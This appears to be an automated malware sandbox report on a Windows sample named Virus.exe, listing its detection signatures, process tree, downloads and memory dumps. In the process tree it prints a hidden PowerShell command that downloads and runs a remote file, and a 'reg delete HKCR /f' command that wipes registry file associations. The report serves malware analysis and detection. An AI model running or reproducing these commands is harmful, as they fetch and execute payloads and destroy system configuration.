Analysis

  • user interaction
    yes
  • max time kernel
    44s
  • max time network
    141s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260130-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260130-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    16/04/2026, 08:28

General

  • Target
    Virus.exe
  • Size 35KB
  • Sample260416-kdbbvsbs5r
  • SHA256 60cadb1c80cff53f1e9b6208f1fb668af3ef959dc8f1703c164c32e40ed89e23
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Modifies system executable filetype association 2 TTPs 49 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Virus.exe
    "C:\Users\Admin\AppData\Local\Temp\Virus.exe"
    1⤵
    • Checks computer location settings
    • Modifies system executable filetype association
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:864
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3492
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k reg delete HKCR /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2664
      • C:\Windows\system32\reg.exe
        reg delete HKCR /f
        3⤵
        • Modifies system executable filetype association
        • Modifies registry class
        PID:224
  • C:\Windows\system32\AUDIODG.EXE
    C:\Windows\system32\AUDIODG.EXE 0x4d4 0x4e0
    1⤵
      PID:4988

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_bry32h4t.ix3.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bry32h4t.ix3.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/864-1-0x0000000003230000-0x0000000003240000-memory.dmp

          memory/864-16-0x0000000003230000-0x0000000003240000-memory.dmp

          memory/864-0-0x0000000000F50000-0x0000000000F60000-memory.dmp

          memory/3492-15-0x0000025D12D80000-0x0000025D12D90000-memory.dmp

          memory/3492-7-0x0000025D2AFD0000-0x0000025D2AFF2000-memory.dmp

          memory/3492-6-0x0000025D12D80000-0x0000025D12D90000-memory.dmp

          memory/3492-5-0x0000025D12D80000-0x0000025D12D90000-memory.dmp

          memory/3492-18-0x0000025D12D80000-0x0000025D12D90000-memory.dmp

          memory/3492-19-0x0000025D12D80000-0x0000025D12D90000-memory.dmp

          memory/3492-20-0x0000025D10E40000-0x0000025D10FDF000-memory.dmp

          memory/3492-22-0x0000025D12D80000-0x0000025D12D90000-memory.dmp

          memory/3492-21-0x0000025D12D50000-0x0000025D12D5C000-memory.dmp

          memory/4988-17-0x000002551FEE0000-0x000002551FF90000-memory.dmp

          memory/4988-56-0x000002551FEE0000-0x000002551FF90000-memory.dmp